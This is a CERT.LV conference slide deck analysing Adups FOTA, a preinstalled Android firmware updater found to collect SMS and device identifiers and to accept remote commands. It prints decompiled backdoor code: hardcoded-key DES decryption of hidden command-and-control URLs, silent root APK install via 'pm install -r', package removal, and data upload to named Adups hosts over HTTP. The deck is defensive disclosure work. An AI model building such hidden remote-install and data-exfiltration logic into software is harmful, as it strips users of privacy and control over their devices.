CERT.LV
Information Technologies
Security Incident
Response Institution

Firmware over the air: case study of Adups FOTA

Jānis Džeriņš

janis.dzerins@cert.lv

Valencia, 2017-01-23

CERT.LV
Information Technologies
Security Incident
Response Institution

Table of Contents

CERT.LV
Information Technologies
Security Incident
Response Institution

Introduction

CERT.LV
Information Technologies
Security Incident
Response Institution

What is FOTA?

- Firmware-Over-The-Air is software to enable devices to receive software (including firmware) updates – **over the air**, instead of taking them to service centre and updating with special equipment.
- All Android devices that do system updates by themselves have this.

CERT.LV
Information Technologies
Security Incident
Response Institution

What is Adups Fota?

From Adups website:

> *Adups, founded in 2012, is a leading global FOTA (Firmware Over The Air) provider of end-to-end device management and software solutions to leading firms that rely on fast, secure, robust connected services around the world.*

CERT.LV
Information Technologies
Security Incident
Response Institution

Kryptowire news flash

In November 15, 2016, Kryptowire quote a claim:

> *In September 2016, Adups claimed on its web site to have a world-wide presence with over **700 million active users**, and a **market share exceeding 70% across over 150 countries and regions** with offices in Shanghai, Shenzhen, Beijing, Tokyo, New Delhi, and Miami.*

CERT.LV
Information Technologies
Security Incident
Response Institution

But the article is about specific device (BLU R1 HD) transmitting private device and user information, including:

- Full-body of text messages,
- Contact lists,
- Call history with full telephone numbers,
- Used applications,
- Device identifiers (IMSI, IMEI, software build and version numbers).

The release also included a list of domain names the software transmits collected data to:

- `bigdata.adups.com` (primary)
- `bigdata.adsunflower.com`
- `bigdata.adfuture.cn`
- `bigdata.advmob.cn`

CERT.LV
Information Technologies
Security Incident
Response Institution

What does Adups say?

From the FAQ, apparently put into place just to address the Kryptowire article:

> *Recently some questions have been raised concerning a recent report about the collection of certain user data under a particular ADUPS software used oncertain BLU phone devices. Information reported by some news organizations has been misleading and inaccurate about this matter. Given the importance of informing consumers about this matter and protecting consumer privacy, ADUPS provides responses to several frequently asked questions. Further updates, as needed, will be added to this page. [Last Update: December 5, 2016]*

CERT.LV
Information Technologies
Security Incident
Response Institution

Q1: What happened?

*A version of ADUPS' FOTA software (FOTA 5.0) that was **inadvertently** applied to **certain BLU mobile devices** (as noted in Q8 below) contained a functionality that collected certain user data (as noted in Q2) from phones running this version of the FOTA software.*

- Should we assume that this version was supposed to be applied to other devices?
- Supposedly only version 5.0 is affected.
- Only on certain BLU devices.

CERT.LV
Information Technologies
Security Incident
Response Institution

> *ADUPS promptly took a number of steps to mitigate the impact on consumers that were affected by this issue, including deleting user data that has been collected using this functionality from the ADUPS servers, and issuing an updated version (v. 5.5) that removed this data collection functionality.*

- So they assure us that the problem has been dealt with.
- And make a claim which we are supposed to accept at face value.

CERT.LV
Information Technologies Security Incident Response Institution

Q2: What information was involved?

The FOTA 5.0 software that was applied to the BLU devices collected (1) ***device information*** *(e.g., International Mobile Equipment Identity (IMEIs), (2)* ***cell tower ID****, and (3)* ***application data*** *that enable and facilitate the provision of FOTA services and customer support to the device manufacturer. The software also collected (4)* ***call and Short Message Service (SMS) frequency data****, and (5)* ***SMS messages and phone numbers*** *(but not users' names) associated with the SMS messages.*

- Items 1, 2 and 3 are "explained", except how do cell tower IDs facilitate provision of FOTA services?
- But items 4 and 5 are not.

CERT.LV
Information Technologies
Security Incident
Response Institution

The collected data does not individually identify a specific user and cannot be combined with any information that ADUPS already has to individually identify a specific user.

- But the data can be used for profiling and fingerprinting.

CERT.LV
Information Technologies
Security Incident
Response Institution

The software was not designed to collect the names, telephone numbers, physical addresses, email addresses, or passwords of the users of the affected devices. The software also was not designed to collect any financial information, social security information, or health information of the users of the affected devices. The users' contact list was also not part of the collected data.

- They tell what the software was not designed to do,
- But do not tell what it **was** designed to do.

CERT.LV
Information Technologies
Security Incident
Response Institution

Q3: What safeguards does ADUPS have to protect the customer data it collected?

> *A number of safeguards were used for the collected data. For example, all data transmission to the ADUPS server was carried out via secure HTTPS channels.*

- This must be a new feature in version 5.0 – older versions use plain HTTP.

CERT.LV
Information Technologies
Security Incident
Response Institution

> *Cell tower IDs were encrypted before transmission. All user data (e.g., application data, call log, and SMS data) were compressed prior to transmission and there was no clear text available during the transmission.*

- Why this talk about compression and encryption if they already said they use secure HTTPS channels?

CERT.LV
Information Technologies
Security Incident
Response Institution

Sensitive data such as SMS messages was further encrypted before the compression. After data transmission to the ADUPS server, local copies of the data were deleted from the phone.

- True about the data deletion,
- There is a possibility the data could still be available in the database journal file.

CERT.LV
Information Technologies
Security Incident
Response Institution

After data arrived at the ADUPS web server, the data was transferred to an internal secure server which cannot be accessed remotely by any third-party. Specifically, the data storage server is located in a Tier 4 data center and is physically isolated from external contact.

- "Physically isolated"? Like – in space?
- We can't check this claim, anyway.

CERT.LV
Information Technologies
Security Incident
Response Institution

All ADUPS data storage servers are located within the ADUPS internal network that is protected by a firewall. Only other servers within the internal network are permitted to access the data storage servers. The only servers that are externally accessible are proxy servers that accepted the collected data and the proxy servers require public key authentication for access which is a more secure form of authentication than typical username/password authentication.

No comment.

CERT.LV
Information Technologies
Security Incident
Response Institution

Q4: Did anyone, other than ADUPS, have access to the information?

> *ADUPS has not shared the collected user data with any third party, including any government agencies or private parties. Only limited device information was shared with the device manufacturer in connection with the provision of FOTA services and customer support.*

- More claims nobody can check.
- And we're talking about China here.

CERT.LV
Information Technologies
Security Incident
Response Institution

Q5: What has ADUPS done with the collected information?

> *After ADUPS was contacted by BLU Products regarding the **data collection issue** on October 28, 2016, ADUPS promptly wiped all cell tower ID data, and call and SMS data from its server.*

- "Data collection issue"? Sounds almost like the software (both client and server) had a bug that made it to collect the data...
- But our data is safe now!

CERT.LV
Information Technologies
Security Incident
Response Institution

> *Prior to their deletion, the SMS messages data remained encrypted within the compressed data files and was never decompressed, decrypted, or accessed by anyone for any purpose.*

- Yep, that was definitely a bug – nobody even knew the data is there!

CERT.LV
Information Technologies
Security Incident
Response Institution

> *At no time was content of the collected SMS messages visible to anyone for any reason before they were deleted from the ADUPS server. The only information that still remains on the ADUPS servers are the device information and application data that were collected, which ADUPS uses to provide FOTA update services and product distribution information to the device manufacturer.*

- So they must have collected the data to store it in their physically isolated secure servers behind firewalls so that nobody could ever look at it…

CERT.LV
Information Technologies
Security Incident
Response Institution

Q6: What safeguards have been taken after this information surfaced on October 28, 2016 to protect the customers?

> *Since being contact about this incident on October 28th, ADUPS has taken a number of steps to protect consumers.*

- Protecting customers has not been a priority before October 28th.

CERT.LV
Information Technologies
Security Incident
Response Institution

> *This includes (1) suspending collection of data on the server side, (2) deleting and ensuring the security of previously collected data,*

- Data collection has been "suspended" only. OK, this could be just picking on the words.
- Data deletion is in the process. And nobody can check this.
- Ensuring its security is also in the process.
- Am I still picking on the words?

CERT.LV
Information Technologies
Security Incident
Response Institution

> *(3) developing and providing an updated software version which did not collect user data,*

- I'm confused now: a version that does not collect the data must be developed? So the data collection was not a bug or an oversight after all?

CERT.LV
Information Technologies
Security Incident
Response Institution

(4) working with BLU on providing the new version to users,

- But only BLU customers will get the updated, data-collection free version!

CERT.LV
Information Technologies
Security Incident
Response Institution

Q8: How do I know if my phone device was impacted?

Only certain devises using a particular version of FOTA 5.0 software were affected by this issue. Based on our knowledge, the following BLU models are affected: R1 HD, Energy X Plus 2, Studio Touch, Advance 4.0 L2, Neo XL, and Energy Diamond. BLU has published instructions (click here [bluproducts.com/security/]) for users to determine if their BLU devices are affected.

CERT.LV
Information Technologies
Security Incident
Response Institution

Bigger list of devices

Well, we have a bigger list of affected devices from our Swiss collegues. The list includes over 150 different devices from manufacturers that include Acer, Huawei, Xiaomi, Asus, Lenovo, ZTE and many smaller ones. Due to the nature of the information it wis not being made public at this time.

CERT.LV
Information Technologies
Security Incident
Response Institution

Q12: What is ADUPS doing to prevent this from happening again?

> *ADUPS developed an updated version 5.5 that permanently removed the data collecting functionality of version 5.0. No one can re-enable the removed data collection features in version 5.5…*

- If the data collecting functionality is removed, how could it be re-enabled even if someone wanted to?
- No mention of other versions, ever!

CERT.LV
Information Technologies
Security Incident
Response Institution

AdupsFota

CERT.LV
Information Technologies
Security Incident
Response Institution

Hits on published indicators

Analysing our traffic using Kryptowire's indicators we find:

- Traffic sent over plain **HTTP**, but
- POST data is obfuscated.

We also get access to a number of Android devices (none of which are BLU R1 HD mentioned in Kryptowire news flash).

CERT.LV
Information Technologies
Security Incident
Response Institution

- Looks like a legitimate FOTA software.
- Has self-upgrade functionality.
- Communicates using plain HTTP!

CERT.LV
Information Technologies
Security Incident
Response Institution

Sample request

```
POST /ota/detectdown/detectSchedule.do HTTP/1.1
Content-Length: 1714
Content-Type: application/x-www-form-urlencoded
Host: blu.adsunflower.com
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

key=8E080000000000000097CDDBBE38B2BDC11E080A29610C9FD01FEA356686...
```

POST data scrambled (XORed, not encrypted)

Request contents

```
mid=201610031816 53WW7434
isNewMid=0
imei=XXXXXXXXXXXXXXX
sn=
wifimac=02:00:00:00:00:00
sim=
appversion=4.1.0.0_16.03.05
operator=
imsi=
sdkversion=23
release=6.0
apnType=1
networkType=-2
```

`sn`, `sim`, `imsi`, etc. values are missing because the phone did not have a SIM card installed. Sensitive numbers have been replaced by Xs.

And some more

CERT.LV
Information Technologies
Security Incident
Response Institution

```
language=en_US
resolution=720#1184
version=tinno6580$6.0_ADVANCE$5.0$HD$A050U$GENERIC_en_BLU$A050U$V02$
        GENERIC$6.0$20160524-1821_other
platform=MTK6580_6.0
deviceType=phone
fingerprint=BLU/BLU_ADVANCE_5.0_HD/BLU_ADVANCE_5.0_HD:6.0/MRA58K/
            1464084705:user/release-keys
devicesinfoExt=BLU ADVANCE 5.0 HD_BLU_BLU$ADVANCE$5.0$HD_BLU$ADVANCE$5.0$
               HD_BLU$ADVANCE$5.0$HD_BLU_mt6580_BLU$ADVANCE$5.0$HD
versionCode=18
mainGid=
secondGid=
secondOperator=
currentSPN=
minorSPN=
minorIMSI=
IMEI2=XXXXXXXXXXXXXX
ESN=0123456789ABCDEF
gcmgid=APA91bESW5ZvjGdMO8TrBDE2Nqa12LpM7-XibM1MoPot6pv56etQLpfF_IDNTN...
```

CERT.LV
Information Technologies
Security Incident
Response Institution

In our conversations with Just5 (a phone vendor using Adups Fota software) we've learned that this data is collected for marketing purposes. Adups has a site showing various statistics accessible to vendors.

Does not justify sending complete IMEI/IMSI numbers.

Response

CERT.LV
Information Technologies
Security Incident
Response Institution


```
{
  "flag": {
    "LUrl": "no",
    "isInner": 0,
    "isupgrade": 1,
    "displayApp": 0,
    "rand": "20749899",
    "updateStep": 0,
    "DUrl": "http://hwfotadown.mayitek.com/ota/",
    "mid": "20161003181653WW7434",
    "connfreq": "240"
  },
  "status": 1010
}
```


The `DUrl` is stored in preferences, and seems to be the URL where the software eventually will check/download updates.

CERT.LV
Information Technologies
Security Incident
Response Institution

Abusing AdupsFota

Since the communication is done using HTTP, and we know how to decode it, can we feed it a fake update?

CERT.LV
Information Technologies
Security Incident
Response Institution

The short answer is: no!

CERT.LV
Information Technologies
Security Incident
Response Institution

The `-r` flag in `pm install -r ...` means to **replace** an **existing** app – the signers of both must match!

Can we pass in an APK of a completely unrelated package? Yes.

But Android package manager will refuse to install it. Most likely since AdupsFota puts it in its own data directory, and our package name does not match that of AdupsFota.

CERT.LV
Information Technologies
Security Incident
Response Institution

AdupsFotaReboot

An application that runs as a `system` user, and uses helper commands with `root` permissions to execute commands.

CERT.LV
Information Technologies
Security Incident
Response Institution

`com.adups.fota.sysoper` package

This is where the intents used by AdupsFota live.

Things like `SysService` that has calls to `RecoverySystem.installPackage` and system command execution.

CERT.LV
Information Technologies
Security Incident
Response Institution

`com.tsc.check` package

Has the "call back home" (with encryption) and `pm install -r` functionality.

Strings

CERT.LV
Information Technologies
Security Incident
Response Institution

```
 1: package com.tsc.check;
 2:
 3: public class c {
 4:     public static final String j = "chinaren";
 5:     r = new String[]{"/FnqtEM2OLfrY4fcmSWwphtVD4DS/UR2",
 6:                      "/FnqtEM2OLcK+byo3a5h8rLV2GiiJw6v",
 7:                      "iLW62KC+t07DO5bMtlBzmJIzkUftOI9i"};
 8:
 9:     public static String a() {
10:         try {
11:             return com.tsc.check.d.a("r7jisFdh0WYOQWOXs4jqm9fif/c"
12:                                      + "F62AVCZqZHs9Taqjo2Z6LjSur"
13:                                      + "VMdjaJjK MOR5xfjFCu35yEc=",
14:                                      com.tsc.check.c.j);
15:         } catch (Exception ex) {
16:             return null;
17:         }
18:     }
19:     // ...
```

Encrypted strings. And encryption key.

And encryption routine

```
 1: package com.tsc.check;
 2:
 3: // imports...
 4:
 5: public class d {
 6:     private static byte[] a = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
 7:
 8:     public static String a(final String s, final String s2) {
 9:         final byte[] a = com.tsc.check.a.a(s);
10:         final IvParameterSpec ivParameterSpec =
11:             new IvParameterSpec(d.a);
12:         final SecretKeySpec secretKeySpec =
13:             new SecretKeySpec(s2.getBytes(), "DES");
14:         final Cipher instance =
15:             Cipher.getInstance("DES/CBC/PKCS5Padding");
16:         instance.init(2, secretKeySpec, ivParameterSpec);
17:         return new String(instance.doFinal(a));
18:     }
19: }
```

Decrypting the values we get the following URLs:

- http://adsunflower.com
- http://adfuture.cn
- http://mayitek.com
- http://fotacontrol.adfuture.cn/fotacontrol/apppush/

(Notice the protocol!)

CERT.LV
Information Technologies
Security Incident
Response Institution

`com.tsc.control` package

Calls home, and receives back instructions (AKA Command & control). Home is:

- http://fotacontrol.adfuture.cn/fotacontrol/apppush/
  +
- `queryTask.do`, or
- `taskresult.do`.

Can do 4 things…

It can retrieve and install an APK

CERT.LV
Information Technologies Security Incident Response Institution

```
 1: switch (controlTaskBean.action) {
 2: case 1: {
 3:     if (com.tsc.control.a.a(this.a, controlTaskBean.packageName)) {
 4:         return controlTaskBean.result = 2;
 5:     }
 6:     controlTaskBean.result = this.a(0, controlTaskBean.taskId,
 7:                                     "", controlTaskBean.apkUrl);
 8:     Thread.sleep(6000L);
 9:     f.a(this.b + i.a(controlTaskBean.apkUrl));
10:     return 3;
11: }
```

```
1: public int a(final int n, final String s, final String s2, final String s3)
2:     // ...
3:     k.a().a(this.a, "chmod 777 " + this.b + i.a(s3));
4:     if (k.a().a(this.a, "pm install -r " + this.b + i.a(s3))) {
5:         return 1;
6:     }
7:     return 0;
8:     // ...
9: }
```

CERT.LV
Information Technologies
Security Incident
Response Institution

It can uninstall a package ("Kill Switch")

```
1: case 2: {
2:     controlTaskBean.result = this.b(controlTaskBean.packageName);
3:     return 3;
4: }
```

We don't have a properly decompiled code, but it basically does `pm uninstall <package>`. If that fails it does:

1. `mount -o remount,rw /system`
2. `rm <application-source-dir>`
3. `mount -o remount,ro /system`

It can disable a package

```
1: case 3: {
2:     if (k.a().a(this.a, "pm disable " + controlTaskBean.packageName)) {
3:         controlTaskBean.result = n;
4:         return 3;
5:     }
6:     break;
7: }
```

CERT.LV
Information Technologies
Security Incident
Response Institution

It can enable a package

```
1: case 4: {
2:     if (!k.a().a(this.a, "pm enable " + controlTaskBean.packageName)) {
3:         n = 0;
4:     }
5:     controlTaskBean.result = n;
6:     return 3;
7: }
```

CERT.LV
Information Technologies
Security Incident
Response Institution

To put it bluntly: Adups (or somebody else with access to their private keys) can install any APK with elevated privileges on a specific device without user's knowledge.

CERT.LV
Information Technologies
Security Incident
Response Institution

From Kryptowire report:

> *All of the above domains resolved to a common IP address:* ***221.228.214.101*** *that* ***belongs to the Adups*** *company. During our analysis,* ***bigdata.adups.com*** *was the domain that received the majority of the information whereas* ***rebootv5.adsunflower.com*** *with IP address:* ***61.160.47.15*** *was the domain that can issue remote commands with elevated privileges to the mobile devices.*

CERT.LV
Information Technologies
Security Incident
Response Institution

`com.msg.analytics` package

This is where the nasty lives! (As if everything so far was not troubling enough.)

Some interesting strings

CERT.LV
Information Technologies
Security Incident
Response Institution

```
 1: package com.msg.analytics;
 2:
 3: public class d {
 4:     public static final String a = "analytics";
 5:     public static final String b = "check";
 6:     public static final String c = "mobileupload.do";
 7:     public static final String d = "salesCountInterface.do";
 8:     public static final String e = "activeUserInter.do";
 9:     public static final String f = "killmeok";
10:     public static long g = 86400000L;  // 24 hours
11:     public static long h = 600000L;    // 10 minutes
12:     public static long i = 259200000L; // 72 hours
13:     public static long j = 14400000L;  //  4 hours
14:     public static String[] k =
15:         new String[]{"http://bigdata.adsunflower.com/",
16:                      "http://bigdata.adfuture.cn/",
17:                      "http://bigdata.advmob.cn/"};
18: }
```

Mind the protocol!

Collects data

```
final Gson gson = new Gson();
final com.msg.analytics.a.a a = new com.msg.analytics.a.a(this.N);
com.msg.analytics.h.a(Environment.getDataDirectory().getAbsolutePath()
                      + this.Q + "DcMobileStatus.json",
                      gson.toJson(a.a()));
com.msg.analytics.h.a(Environment.getDataDirectory().getAbsolutePath()
                      + this.Q + "DcApp.json",
                      gson.toJson(a.b()));
com.msg.analytics.h.a(Environment.getDataDirectory().getAbsolutePath()
                      + this.Q + "DcAppOp.json",
                      gson.toJson(a.c()));
com.msg.analytics.h.b(Environment.getDataDirectory().getAbsolutePath()
                      + this.Q,
                      Environment.getDataDirectory().getAbsolutePath()
                      + this.P + com.msg.analytics.a.a);
```

CERT.LV
Information Technologies
Security Incident
Response Institution

Important point

This data is sent over plain HTTP (using one of the URLs from bave), as a ZIP file, **unencrypted**!

CERT.LV
Information Technologies
Security Incident
Response Institution

FWUpgradeProvider

On the BLU ADVANCE 5.0 HD we had 4 related APKs:

App	Package name	Version
AdupsFota	com.adups.fota	4.1.0.0
AdupsFotaReboot	com.adups.fota.sysoper	2.3.6
FWUpgrade	com.fw.upgrade	1.1
FWUpgradeProvider	com.fw.upgrade.sysoper	2.3.8

CERT.LV
Information Technologies
Security Incident
Response Institution

From another device we only got `FWUpgradeProvider`:

- Declared package is `com.adups.fota.sysoper`,
- It has a `com.adups.fota.sysoper` package,
- It has a `com.adups.check` and `com.adups.control` packages (very similar to `com.tsc.check` and `com.tsc.control` from `AdupsFotaReboot`),
- It also has a `com.msg.analytics` package,
- This one actually collects SMS messages.

CERT.LV
Information Technologies
Security Incident
Response Institution

Adups ”projects”

One of the fields sent home is **project**, which we found interesting:

APK	Project
FWUpgradeProvider (BLU)	`adups_mtk151010`
AdupsFotaReboot	`adups_custom160301`
FWUpgradeProvider (bad)	`adups_custom1126`

Make of these what you will – they're just string values in APK manifest.

CERT.LV
Information Technologies
Security Incident
Response Institution

Random thought

Could it be that the reason for all of these packages to coexist on a single device is so that updated (custom) packages can be installed using `pm install -r` command?

CERT.LV
Information Technologies
Security Incident
Response Institution

Conclusion

CERT.LV
Information Technologies
Security Incident
Response Institution

Adups lies to us

- Not only the 6 devices mentioned in FAQ are affected,
- They've been at this way longer than they admit,
- Older devices might never get a fixed version of the software,

CERT.LV
Information Technologies
Security Incident
Response Institution

You do not really own your device

Adups can do whatever they want with your device!

But then again, so can Google, Samsung, HTC, LG, Sony, Motorola, Lenovo, etc.

CERT.LV
Information Technologies
Security Incident
Response Institution

In the end it all boils down to who you trust

We're collaborating with Just5 and they're switching FOTA software provider.

CERT.LV
Information Technologies
Security Incident
Response Institution

Thank you!

CERT.LV
Information Technologies
Security Incident
Response Institution

P.S. Would be nice if anybody could share a system image/APK of AdupsFota v5.0+